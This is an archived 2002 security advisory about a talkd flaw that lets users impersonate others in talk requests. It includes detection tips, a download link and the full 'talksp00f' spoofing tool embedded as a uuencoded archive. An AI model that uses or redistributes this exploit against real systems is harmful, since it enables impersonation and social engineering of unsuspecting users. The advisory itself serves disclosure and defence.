4th Apr 2002 [SBWID-5243]
COMMAND
each user can locally or remotely fake its user.
SYSTEMS AFFECTED
Probably all versions
PROBLEM
Teknophreak of Malloc() [http://www.superw00t.com] found following :
\"talk\" is a program available on multiple *nix OSes which allows
users to communicate within a system and/or remotely.
Their exist a flaw within the \"talkd\" which allows anyone masquerade
as anyone else either remotely or within the confines of the system.
This is due to the lack of user validation by the \"talkd\" for
incoming \"talk\" requests. This may be a catalyist for social
engineering which can lead to the revealing of private or sensitive
information from other users.
Identification of User Masquerading
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
If someone is initiating a talk request with \"talksp00f\" from the
user \"root\" for example. You should check to see if the root user is
actually logged in. And if he is not you can monitor the system
processes and figure out who is initiating the bogus talk request.
Also, if the user that is supposedly initiating the talk request to you
*is* logged in. Check that users processes to see if he is actually
initiating the talk request to you.
Exploitation
~~~~~~~~~~~~
\"Talksp00f\" written by: Teknophreak of Malloc()
Download:
http://www.superw00t.com/projects/talkspoof.tar.gz
begin 600 talkspoof.tar.gz
M\'XL(\",]7JSP``W1A;&MS<&]O9BYT87(`[%W[=]K&MNZO\\%=,G#86#L:`7XD=
MYY38)&\'5KPNX:=KD<(08C(Z%I\"L)8[<G__O=WY[1\"_R(TR:]:QU868F8QYX]
M>_;LQ\\>,<F1>R*\'MR.^^XJ=6K6YM;(COA*AM;]7PKZBI[^JS4=\\68GMCL[ZU
M6=O<IN=:=7N]^IVH?DVFXL\\DC,Q`B.\\B>7%/.QF$WX*A;_MY7/C^6$:O.@<[
MXDBK0OE2U\"J;HO;\\^;.U:GVM]DS4ZSN;U9WU=?\'OR!+-*U]\\7WQ<^-%X7(J[
M%)Y5:L)X)8,+Z<CKDMA:VUI[OEXLGK9/WNP5(M.Y*!Z<-@X.]@K?_W\'8>K5_
MUNXT.Y^*AP=<MNI8DR\"48;\'3WN_L%:S(J5B\"_NY%@>F&IA71UX$=^HYY34_G
M,NJ9@T$0ZF?7\'$L\\?R@6;->.>FA)7VWWTHXD\'CSZR_&\\B]X$Y>/P\'*W!4\\4J
M%BNV:SF3@10O^N&@X@?>>65\\\\;+X=R_+-_NPL+_R&\'?O_UJUMEE/]O]6M8JB
M^OKF8O]_B\\_:2FH`6!?T[J]7J]6UZCH9`%JTG?7MG8TM88T\".XR\\4)F`PLI:
ML;BV4A0K8M_SKP/[?!0)PRJ1X7BV7H;Y6*>Z0G<D15N>2S<*A3<4$7T]<^U+
M$J8=7:-DWW3LH1>XMED1HN$X@BF%(I`D\\4LYJ!`5#-*6M+.CP.Y/(MMSA>D.
M!*T)[7,1>I/`DES2MUTSN!9$;QR6Q=2.1L(+^%]O$H\'*V!O80]LR0:,LS$`*
M7P9C.XKD0-#NO[0\']!\"-S(@Y\'7J.XTUM]UQ8GCNPT2D$%?0;RV@\'S[7*#&L\\
M3\\V3Y9%I&9..T70BDW@%5;/O7:)*\"PU$Z.-ZD6W),K6P0^$0/9!)A^7IY7FB
M02W\'M,<R@(Q$?9X1&C`CD9@1FN=@0LQ]\'5Z$FJ6F-/\"LR9@6WXP7;8W6PZ/Z
M0(S-2`:VZ82IX\'G!0#@[#9[<>H5UPQR0YD1VB\"\'3_AB`&J)P*,UH0JJ#98=Z
ML,K1)$)O&$UIV31;+`GM4V9F8EH7KC=UY.!<@NZ.4F*;N22Q14)[C)2F&,A+
MZ7@^3:!_/:_A()`J>5G$;I*E:).FDV#59#UR:F!PHR*.I<U\"`C5XN!OVCNNE
MU:QSL[3BN=(4^Q+2H$7SA\'0\'5\"<A()K1V(MD/+.0)A(0^8$84L6-<M,[282^
MM+\"/J*N-#19@![EJ+X6A7C3TZ;YM=43GY\'7W7:/=%/1,(<\'/K8/F@7CUGBJ;
MHMU\\TSSN=D3C^$#LGQQWVZU79]V3=D?\\ZU^-#G587D852#6.WXOF+Z?M9J<C
M3MJB=71ZV\"(Z1+C=..ZVFIVR:!WO\'YX=M([?D)3/NN+XI\"L.6T>M+C7KGI0Q
M\'@C-]Q0GK\\51L[W_EKXV7K4.6]WWS-#K5O<8P[VF\\1KBM-\'NMO;/#AMM<7K6
M/CWI,#7,ZZ#5V3]LM(Z:!V3#6L<TL&C^3-,2G;>-P\\/</(E2;IJOFL1BX]4A
MT^)Q:)H\'K79SOXOYI$_[)#7B[K`L.J?-_18>FK\\T:2J-]ONR)MMI_L\\9-:)*
M4#MH\'#7>T.2,>\\1\"2T(16?,(#),@.F>O.MU6]ZS;%&].3@XZ($7D.\\WVSZW]
M9F=7\')YT6&)GG6:9!NDV>\'BB0N*B:GI^==9IL>!:Q]UFNWUVVFV=\')=`Z.W)
M.Y(,,=N@W@<LY)-CGC,)Z:3]\'G0A#UZ#LGCWMDGE;<B4I=:`+#HDO?TNJ&5:
MTJ@DSVYFLN*X^>:P15+?;Z+V!(3>M3K-$BU9JX,&+37RN\\9[GN,93Q^+1;RI
MQXSREGE)1>NU:!S\\W`+SNC$I0J>EE>;D-2AUSO;?:NEC\'Y\"??)R$F>%UN&8-
MY#\"LC%Y2\\=\"E9S*Q;H0OHEH,82HI_!U15!):5F@/?OLH]L02PFUVT#?\'VDN[
MQ<>TL^UAL=>C*+IU8\"Q]H5]?*L6DQ-H*/`%S)U)OS\\804;\\8D05SR/:,S/-S
M![8SL=^7)MF%2<AAMAB8<@RO$7GH3C&[,,FN6!?T0/:(FT1>A8O(NI(I\\Z5+
M1@CFD<R9*RTX9]M%9]!&D$X6/IR1[!*\']*.EC*S-P#?7;%=&2M;9ACT(A1J3
MO`,R?04,CJRB1]Y+\\<M)!DG^#Q\':OTMO:&2*2V71>-TC%>^*3[LWD4#V,ML_
M+KNW\\_AZKJ\\NRG<M%FB!,#V!.I*(3$*L:.J1W;=&5!M\"3\'H46\\^*R.E:_KX[
M6T\\K/-.@..F%(R^(8N\'X]+R+\\?$@W,FX3\\XJ\'CQ==%XB4A\\D=3U>X%W^FGGD
M1(W#@][4I/B\"U&A/5&G$_>YA[ZCS!AD;?;OT[$$1FJ\'(&*7B\'TCX2#NE>QZ-
M((UBP4\"KTEB.0QD93[30RJ):GI4CZ7A!/U<HF.@-S;\'M7-/`6KR[V(W8F;2!
M-GH;^<8T(K6<H9CLOUQ3O8YS\\LXU8A\'RG)5<0)RWAZ&Y(9-WLO]3C^Q>LW%$
MTP\'WM#T-U?H%=2T5\"P6_)X/`\"XRE5^9`$UB*6U(4.%#-R]2-%UO$*B=62JFH
M9N4D\'LU1)U)8),>S3\"<[CEJ(FR3#+-\"^1V-$*Y_%R1-%KR3V]L1J;6Z\"6N41
MV&:8^`0CQ0:$-9&T+K8TI(BI\"E&Y41+S&I37GWC#9A4HV<285OSE\\U0HU_H>
M\'<JUS>A\'KOQ6Y4HVVVV:=/\"FG5.DM,-G*U/2I5PL(#*\\:2U3`<Y);UZO]KV)
M,W\"7(V0L\'*AR*.O=J6()O1MT[&$,/D#;4J5*-8[\"8%?!4G!@)@72_<FY*A4!
M!<RT.(D&IFT-YIUV?9XS^`\"UDEI!;>@F=QL:2WK5?Z#\\5BO&#UY9)-KW@R=^
MEX&\'D($F7H![Z+F19QHYM2%\'DE.OS%=%\"1+%9`V;-4_8+Y[MVD^?EE(^:*`E
MVL+TI93TQ<B_V1_1V9]$B&&,Y0_N,HOI[T8Z%I^;/GF8]>N,<0_^O[V]7<O@
M?W6JK=?6UQ?XW[?XS.!_&5W@A&$#.-[V6JVZ5J^*:G6GOKY3VQ+.Y$*.%RC@
M`@5<H(`+%\'\"!`BY0P`4*^&U1P(R;_B(X\\,%N_@Y0\\\"X`#M.,R!WD\\+<7E%>Y
M7KYHXI*I\']P!TSTF`2&)`BCTKM\'JBCK`)]\"&-0-PQ+F9B8#!)^=$;@LQ@82[
M\"C/@)=)?SGZ1ITW<0#JVV7>H=4A4$B?MD_\\@?Q*&YCD959KT%&#G)=L_3#X@
MNR<O&:.<]11L\')\'`42,S]%Q0%^;8F[CL5F\'`B>EBD@UF5\\.@4)12V#(@+W*[
MUS[Q%?AI@ACG_*H9)5DYB(Q31732%60B3V$,Q$K@<RHY\'/1\"\">;-06]LAA=E
M5@4\\Z<XNJJZIV-I-Q@2WEZ;#(D8:JMIH.(+&K6!$^JH\'SH\"D68PBX7BV7J>P
M652Q6\'A]T/NUV3Y1\"`SX*ZG\"3K.;2>M%MAI8*.7Y*^(G*7U:=X51P3\'J9:3%
MCFPGHR#PR8444O;A9C$5`-!]1&D(.@M8I\\+`$R2^`D10B2Y)B!:Q\'&OB;J9F
MHJH@&J@G@E?R[K=RD!F*QXD\'*EB@@KZ1EYVPP?8`(!GT0V$@PJ`O)4!4Z\'@;
MT)$1>](N[I_%M2\'H@H*$+$`TV3%*BC>NY2T,K*1)MKU=XO(\"H@[;G4BFD>(G
M3?PC*.Y#?\"`3R%\\-NZ1&_(2_$L6DR6<TLY#J7$@VCK;)>IT6/Z/&5?[S!*N0
M3D!W>B&J?X[Q&)2&>=&@=KR`&>8_B>D(/XG$P^[M*72-U3+12]3Q[R3<%J&=
MY\"SB?R=R(@>IQ5%=#(Z]Z`],CBLMU`:T/<G6_1MV*B2+%`IY1>9#=0@D$0JC
MM1F3%%+@AU%)H:(2MYS3-3)HES=I6N\"G>D9FI*0QPT1%_K1T69IF\'&L^4\"]H
MBY$!ML=C2GA,1+`4OJO)%6\"V`LN19F!D].*ABC2[JB]%53QY(HS`7WV)`!Q;
MA(*QGWH4S\'0HN!\'_^4]1;2ZT8\'/R2)E&WED)N3OZS_>DCBBS!SUW,B;>W<@;
M.49:%#=0-M5,@6@T#(WYJBP<EYRK^XH8PSWGO^H;]?4,_D//M5JMOK7`?[[%
M)XO_)+K`,>$68L+G:]5G:[5U45O?V:SO;#Z\'IQP.%]#/`OI90#\\+Z&<!_2R@
MGP7T\\PVAG\\1#/QSU>:!S_XQ38)*,`9F2J5@>FRZE+<$R,!=R$&3J?B>#I\"YU
ML)&+#XJQP[&BB>F`A&8)-A?&C1(9EM5=@)*%B!B\"*U[1X+T(YVCH83?^BH-+
M_/T=[9R3=X45!\\<BN$0=0V*>>BF;`WW82$UJ;%Z)MV1UR$J2P33%<.):*E\"P
M^62:93J.]E(<!5`<<,[>+;;.[&575X>>)TP<+#\'A.5U+*BW`(M,0AEGNEQ3B
M0MZ@#VR&(GA);LL5ADE)1E_\\@VCOB\'Y\\OH`WLW96H0?,BX2%W`E?^M[@>CG4
MBU\'&(B)3Y(0/3?4Q\"I\"`3I\'XD7BH1&2JTD]BU8XJ*2:E%\\8@DF4>2B6!Q+,2
MLUAAB194DH@&&D!\"J^RI!=7\"LOAP3>XX`66.W%C@4`%GD,@?F1;R1SXUH!++
MJ]`B]AW%C,X^T>SI4W[,9I>?%.PB`Y/<6S)9E1\'FR!.MU9<6M].C3,<4!AE<
M?M7CH?0S%*@,Q3!65W61Y3G@1+%R+J/KJ]L[IEU4\\RFE8M8HUWY9+.NZNWF8
M)?7`D>^4F<(/3EPQ]8*!%F!(R;,U$GV*AR@`&(0:OR*=&9*JJ1[0^;X\\MUU7
M[V)34=\"12;8J[0#^*@D.,;\\PT^S\"0)/(#K\',K_AONRPLZ%.AH,K%7F:N/+\\K
M5:JK5T5-B5?EWESY<B\\%+A3^80Z(R.W2O$KDJ*`/9.=8.`5Q]*F_@B1X[-75
M%+SX:T?=^]Q1[U8EYN:IJ\"G:R<:,B]7^5.)3.Y0\'^1.ZFQ_PK]1<UB9Q8<?(
MS[PZH>[S=KFV+E/+\"2)/>DZFY5_-^(RU&\\;6#N5$!J5/E&_3L@_DD+*:D0$/
M9@4/I5_=C@?H2^D;G]4]G0UH[)\\<=E9KFL@:?(FT+A@4G0:F;P;>Q-4@]DT6
M.Z8I\'I%KP0$RPYCT8*%+S&0)J)IB%_OJ0Q1S>Y/*_7/YBQ;C]BG=/9L;\'1\"Y
M--HO6L)/Q-9ZB;1[:^,V$T_--9XHG5#>TDA)`LT>-K-D&4G(B9KD-#>)(=J`
M6OE@;.(<-=\"!0[V6R2\"(%W*2CS1^RJ?N5>\"2,59EH1@!!\\6\"\"K7BF(`/U,:U
M22S@.0-52`_*2J.4S7@RV?)L*\\PNV;\'9,1%8**NO1#C3\\`8R<71E9:71X76%
MR]*A4]\\QW0OV5I,H\\5099(`E-PD\"J><((J&7HD5Q72I\"_,!SB9L0:7\"54Z>A
M8Y[/A540#2I48`B]Q3=],E7]$C5GQZJQ:F8T)?XE*JOUJD2)0ZM,KH.1_0J#
M+7Z(]<U%6;A;G*?WH,#E-NLZ3^1>7KZ<].W\\_9<=5,W<IO]J8]QS_G-K\'7>^
M$_Q_`_C_^O;B_.<W^63Q_XPNY-X!L;U6W\\([(.I;._7G8GQ-]FL8+7X#6/P&
ML/@-8/$;P.(W@,5O`(O?`+[A;P`9+_WP7P&^P,5_X=%/5T:#?OZ09Q@-[(>>
M^^24*>\':R-QUA,4KYVXJHX22*;)^9-<5-CW7?F6V`Z>H^L3<R`LCY&\\K(S\\]
M`,D!\"`I#\'^DJCCSZ-GXV&$6>Z^#*(7TU&`T&&N5Y%V+B*[>J+PUJJZTNS&(,
M1A9&/M&@WBCH7_.5Q1ENXUN-:+DGCL\\.#U7V-]17\\$AR,@C*2F([XH=P!S?R
M;B!2&*DS5_&I+B:%<GEE1\\8JHW*4\"8[EF!.E])AA_F8I2=M??3G*/>MKD[O)
M^<N6FBS_4J)..+JKFDA9\'5M#G,\'!`9J3FDR]X\"*655F%!5.;?-/`H]0<\\ISX
ME4I\\%).O/4>!-?:-V96<G[H2UPV\"GM.:78U/S8KZ\'EG?2.=6:6?%S8C8K,#%
MD]F+]W>+/(&39KO=>\"N8M\'-HZYB-E3I8#M454@@VU%)\"C9;2DHO)TC27)@,_
MN?T;^NIPX]VJN`8)@1:%D/$1QD\">TVZ7`87S\'UR^G<KYW_PP,WJ9.1R,HWLD
MA%\"?%/XO2]:_PB?S!KVO-L9]]S^WMC8S^?\\F\\O^->FV1_W^+SVS^KW6!@X/M
M1?Z_R/\\7^?\\B_U_D_XO\\?Y\'__S_*_[67_K+\\_X$N_D]<_?3-P!SG$WY_.K@-
M`2C**[+E;OY28WSX34:P*J[,9-*PG(%DVX7@C!Q5=%WFTOC-9^F/KLF\\#3,X
MM^#SSR_C(WA4D)QE0_EO\'[.8@&^&X70@5OQIW`AY)&C]=M3XY>U)IWO<.&H>
MDE(\\%;6/NWGX`7F9QATH\'U-PPX/QB4)*BV:8?+?\\Y)%GMJM_*\\9\\Q`M1%YRA
M43(5O[\"G2VO4\\3WR$?WK\'4\'QKNOY(QPA@ML84[[N64;I@_M!W[V*NYWA2MJ.
MNIL%.:_B`E_$&:+Z#C^1=LNG;F#HD1V:U,&HZGP\\)MR):*W,`*_V\\\\F;L#?F
M4Y>\\CE`T4_BVST[*Y!<.WC@&!C%XW=8_[NUQLHWEBT<YLM59R->V=`::0-I?
MLVCHU:$]IBF59G``\"#)MY$]77_I3O3[%3P4^Q1#KA1$_I%?GXA)&B1+]T2^Q
M2BIQ4@W;?/E#=7F77Q&7500@3KJE2N:3,RM*Z1$K^3BY4%;77E777-R@;N%R
MNJ_BA3WT&DQ\\);_:Q^2M3Q;0`*56T#0<SWD$V&44&$L_[CRJ4+9.Q:5=8?GJ
M=)@&!]!6\'3C2)WAP25O?8C3UOB7]T0]0*3YD$^^39-`93$/7S4@D04#2\\Z-@
MAQGX<3D]J@0M_3\'!W6X>[:;A>(=EAP`QT*F`(M027QYEO^SPE[EA%*6;QD@8
M`!ZTLKK*@M<*\\\"FSH5^*>DD+A;9\'K*?UC_P.1I0P/4@Y.*>]#PXRV)#JLD2>
MH?`0+#6#ZB4\'IG-WJB,YIN`YDC$Z!W\"4[S7FKS7NJIJY\"XI`4,/XU70EW2I]
MQ=U]+9,;D0J)Y?,OI*2NY5_CPG+%26%!]0!+W>NT?FW&%%2+WY+RF1V8)19D
MA\'0+M>`AU-C(Z;6AH+3[?H84%?\\6E^8)_:6@5^:_3/@+J>8_][W_?WMS(X/_
M;#\'^L[DX__%-/EG\\)Z,+\'!P^4\\%AK;Y6>X[@<\'UKIU9;_\"\\`\"P!H`0`M`*`%
M`+0`@!8`T-\\!`&7<=.%9I9X%@,A3;ZT]W[@+`?H2)W_O9=`D/5`&GOW=4!NF
MV+[Z9%(I9RBSYPS%5,*0JRNAH7WNXF@$;HG\"^.HW)H>S8KL%9K(]/BWR\\J;B
MGN6-?3.:>P\'93\'-F(%_&@),7WHI6D21XE2FAGOCZLFM94$QA*>=E^GBK5,`O
MIE\'T0S5W!\"@3VQGD_J,$=04AS%S\"3!8*-S%+&42*B)E\\*U6$9@SZH\'%H!48*
M6P`F\"8(KHU862UW&SI!QX[TR$Q=O`:/5<6A%(.[DU4*)WZPP3*+>AIX,9W1:
M;[J=[FF9!RB+)Z\')&1?5#P;\\PO301-*F7J5#C1N\'[:,[Z5`\'18QO=-QT-1<W
M]]1;?-0M#G6Y!<^N)ZV1QX]60/&<-#0S-$^,0#8\'^,MYC]]ZE*LZ;9TV\\W5`
M4]1MY<B\\P-5E^\'/RI?_\\5:6U?!&K$E\\[(+X.8=C$FJCO9FLMST$E[A5ER_D^
M%TEYBNLS,[0X.\\UT3V]RJ&LBWH61I5,6KQN\'G::^[`\"Y9&OY/6CZ\"O2-W.J[
MD)DF>9;3BAS/LR15XIKE6KUB?69N3VNS4\\G1GY]+KIHG$U_?3GDAFF\"V/#N8
M\'JKO71EQI[)87EWFOWB,6\'OBZOC$EN0H?RP0\\,4WHG$FB2\\\"N;CY#1W0=WMZ
ML,P`;I:.O?A_)\\%6O);14N9J43<PR5Q0\'![E+EW\'@>W_M??D3VTK:?YJ]%?T
MLO4>AC+&!@)Y8=[6$\"`)&Z[%Y)%LPGB$+8PG1O):<ARV*O_[?E>W6A>&8\'@[
M4U+EL(Z^N[_[8-*7H)EZ#21@;^01F>F(A^Q5?Q1BK^\"Q7=YS$;90OA2,&\'B#
MI)Y[!:_(N3ON#(Z`Y\'U40:H7%HB!0]O&M^2)%S*0(91S.;[ZO\':AO;3L:(`,
M%!4+HIVYJ-,#CB:*1E6,FP5/%^.-S_[5&/PONJUWVIW.9T#YVZV]B_@3<MNT
M/WB_?W!P(;+$^.DYET/85@7H!0<9@`-Y#TJL?JENHEM<^-)8W5S8FB/7/DDC
M<&X+Q=(%,FWA5H)):%RPV#$>C[QH6B]P%/)XU7H\\T=]3A#4*?J<37\\\"G)B<\"
M_%XT>1BLH\'OT0B4R$1P$H3B:F;4F0-W1SL1/5+\\^EV9%>6JL-[*0/#/6\\XE=
M8O6\"3@AO/8&^U>[XYN965#\'TF[W>1,*(:2\',MNX,`F3YZD\"44$@^ZMO_C/M1
MU?;J0P:Q&_B<A@8_K]>!L.AIH\\SA-;YCW1\'BP<C@QFOX^\';!4AIQU<8)+XN@
M;&>\\%&A+@\\SEIG\'0,TYJ:7!G>?EF7P\'YA>#/TJMD$^?@8F+4R\'87R,&(,2+I
M.AJ%CFTZ3>I3RIBFR/_6-IMV_\'_._[NQ7LK_GN-*RO]X+Q2%!%Y=*R/_EY*_
M4O)72OY*R5\\I^2LE?W^\"Y(\\1],/MOAZ&VF<:[3]/MI:3`0!H\\7_<#!_H\'69\"
MT2\'+[H:8/0X#0AO\"6`?OIO#^%(O=U4&R\"5(\"1H:W6`>@:TE`JKVVT,P)H*M8
MF-DY+:$NY*AU2P0;K_LWRDF%QV,;A870B$+CCA%L#OQ\\:S9MOE:7BD*626@`
MSL0]%<4/K$I-E+DYJK/=[]:D3OBYY<#\\MH$/DU[#+YU6DQ^T^=,XLZ;O373.
M3I.!@.)J8SX`_K652C6@(Z.37)*^J/>C-GP_]N+(^:=P]G3H_)R/K\"#Z\\5OH
M#[?[NTH5$=86J13/UPSPBYP$@R;@N!NAW0HEG^52G-8//=9&M/4Y;^-AZVT;
M0!)+!]%G#>9#A=\'MP(M#ZT,5P0!F.9RX0YV#K\\J)4H$,@E>+QBY&_+*6=\'C^
M(\"?KY9;\"`_?QXT=JBRM7W*9=38YI3#:9*9UADG;DM9[7>)S!-&M<@]9R<<#U
M80!(\'A-;R%?DF9>7QQ6EC:[O!V._`WN0MEG5,BMJ78^1M&32Q@6BY8:`GXF#
MSRD]*(1:C0IPE@X\\>DC<\\9F\"C3$><J(*6A#)NI`\\<&*@A,PQC\"YD8;$7\\5ZJ
M[I\\![CZ%;8Q8]5=^&*<GC3?]TB+Q\\$8X<6[E!KA%$#)T1T\"9<2?@(\'3GDY)G
ME(CCD92IB(7CBL%?U1Q-DEARZ+BJ.8=H]M7I>,-(;W.2%2_&4?@+8O#;T;W,
M<?C`J4DB(\\9DZCL>QKS(&E#L(I(K&HWTQ((.9CW?N=]X573*9PM667!*H:25
MF*P)>X%B;I4XU[.V)LN(7*=/-T$J>&@6.7<S:^A(LC,[_TK&X942;>SN\'>R=
M[5&F`(9N!09H!M1FZLVZ=1977)0/.0[B)?E$)1@I1>K29P!G8IDWD>6&&XNT
MS-:;*G<[A8:Q;6N>W1[@RWG1U=#*H&B+0H^A;VE`3#AV0)]X`_N*)DJ\'!,P#
M$8/`[R6.1$VQQ:Z02-IBVP\\GP!`1D01\'8)[OU;\\WYFL4)\'&%R+$=)$:Q-_.?
MXO&(6^H@Z/5H\'JD$?`_T<1MHQ3TN<,9&L]J>MH^4`9V9*XV0)8,Y@\"2H`<J_
MV=X_`/(PKW0W\\+0O;\"?H^6A/2:6PV.\'VSCN@FML?CMX?\'9\\?Y75WY$&CQ/L*
MA)2B)WNGA_LM-+4$&/:&*.N\\UA%N8N,<CM<F;;CCTC+4`6Q$ZRQ__!(HCOCA
M*,`@8,#RW:#:DRMY#>2Q9+.X9_G+`\'6FG`QWOL95;._NGCZPO$D&K.L`RD17
M\\V-+9Y\":.]H^:IU#!^>JVCI;MM\"B6E&I1Y\\;%XN+EDZ\'=\"XI:$:4FP3=%8J1
M#W-\\ZC+;&RFL0KHI`_;.1A0CV8+4\\#,^EPMA(G\'*/6\'/]M\'1\\0=@C5+0)SZ:
MOYM.R?$50LL\\E9,&=)8<L!@\'I;_YB]*S3OA(`QD]RZG/R0S=\"/81!9&:3N,6
M#B!MKP#\\N;E-IYV_#V0_V-O^8Z^]?_3\'?@8,:QR1-P^QF@^-&&)\\Q_`7U0&\\
M/!;Y8>G<+/D\\@]PXB18CA)@^.A/3>8J;X\'*J\'X6Z4J!_AL34<\"(@CR1)5`1W
M8S=`3BA.BH9[%\"?6LM*^\"W45Y/!*;R39#]DT547IJ>Z7G*HP-96ENJ)T5$C,
M\"\"UC3:J2L2S.%V!I&_D7C#0;.^%/&JBZ>Z0TE,7YQT0M[`=/J_O!:YK]]_H+
M*_]/LX&/&AN;I?[G.:Z$_B>PHP*E!$3KI>ZGU/V4NI]2]U/J?DK=3ZG[>7[=
M3_!3>I][H_1[)/P!D(!>V%ISPMSN_LIQ;+BM<8/WO8,V5P2YL&S:!)$KLRP6
M`7QY@RMD=3R8A$M`.]<>.H:386,TJ\'<>90F>HY3*AB+,TTD!./5[A1;@.B?U
M=OO@^.AM&V7(2+K29>N!Q)R==#>!S<**A5K,\'.(#E@[8N9JUEVV-;T-/I]OQ
M+[<L@\\W7\']ZT]O_[8JLP=7.>39TUW5\\:C4W]-R/EDS1)FC%%22RRW9=!PJ)5
MBT%86LRYF6E3L/`^Z?!?A<,,9[5]N-UZCW:(Q)N:U,^)D6-O)/^S9KV*WN,.
M]0,,2-?W%_.^(__VK2T65N@)%?M)\\R$9XR72/5N+;+^T,S[[EWF994,ORB:6
MI03%E^HO<4*8\'-&]1!ZXJX^I[+H_Q$E]Z/K]3@U5)2P*8--FI&ROW>\'0,_FF
M;6V`]WU(TG=%3Y@,X,%(+EXCD#\'9/&#*]UN918&N8J0\')7UA[2R<[*X;N9RS
M\"A4(W#Y-68\'EJA(U2-YL%=J\'`L^0,`]-])OG1_M4_\"I&EM*H?YD_MMP-)6/D
M(>*_>\"9(P+J`HLJO8G]-E)K?O@1&_2NIH2^]CCOF#\"!*^QPLA!BU`4^$]GM1
MDV`\\Z`(*&\'D3-1[RUS1?!.#0UOH-(-73O>W=6$L5]J\"Y2XHB*4.Q9K>1\'&0\\
M!VRKG\'H+JW9#+!U.**\\;+:+T7E:0Q.?^LAZ<]#!KYQQ/[(]8<B8;3U&8#O$\"
MN@T``````````````````````-!F_P``````````````````````````````
M```````@``0```````#09O\\`T&;_%`\\```````!A#0``````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
E````````````````````````````````````````````````````
`
end
Update (06 April 2002)
======
Michael Brian Scher added :
A copy of the informative 1996 posting by Rombout de Backer (r@idb.nl)
is at:
http://www.tao.ca/writing/archives/security/0214.html
A cleaner copy, from a repost to the OpenBSD lists, is at:
http://www.monkey.org/openbsd/archive/tech/9604/msg00010.html
de Backer also posted a one-liner proof-of-concept change to the talk
from NetKit-B-0.05, and there were modified ytalk clients floating
around with command-line options for spoofing by the end of April,
1996. Any suggested fixes to talk will only work locally, where the
daemon can do some checking; any remote fixes really depend on changing
the protocol or migrating to a safer (or explicitly untrusted) chat
system. AUTH lookups (as suggested in the de Backer post) don\'t really
cut it: n/talk are UDP protocols.
SOLUTION
Nothing yet.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH
